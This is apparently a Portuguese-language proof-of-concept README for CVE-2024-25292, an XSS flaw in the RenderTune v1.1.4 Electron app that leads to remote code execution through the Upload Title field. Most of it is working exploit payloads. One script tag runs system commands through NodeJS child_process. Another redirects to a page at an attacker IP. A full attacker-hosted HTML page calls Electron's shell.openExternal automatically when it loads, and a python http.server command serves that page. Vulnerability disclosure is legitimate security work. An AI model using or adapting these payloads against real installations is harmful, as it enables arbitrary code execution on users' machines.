
Exploit de XSS para RCE no RenderTune v1.1.4
Uma prova de conceito para a vulnerabilidade CVE-2024-25292.
Uma vulnerabilidade de cross-site scripting (XSS) no RenderTune v1.1.4 permite que atacantes executem scripts web arbitrários ou HTML por meio de um payload criado injetado no parâmetro Upload Title.
Neste repositório há um exemplo de aplicação vulnerável e uma exploração de prova de conceito (POC) dela.
É uma vulnerabilidade que permite RCE por meio de XSS. Existe uma parte do título capaz de XSS, portanto é uma vulnerabilidade que permite RCE por meio da sintaxe do NodeJS através da sintaxe do XSS.
Passo 1) Confirme que o XSS ocorre na parte do título ※ Neste momento, o item Upload não será registrado a menos que a imagem esteja anexada.
<b>jruru</b>

Passo 2) Portanto, ele é configurado para usar XSS para executar comandos de sistema do NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ Ao tentar um ataque usando window.location, você vai automaticamente para a página que definiu sempre que executa o aplicativo.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
Nota: ※ Se quiser testar rapidamente, crie um servidor no PC do atacante com o seguinte código.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
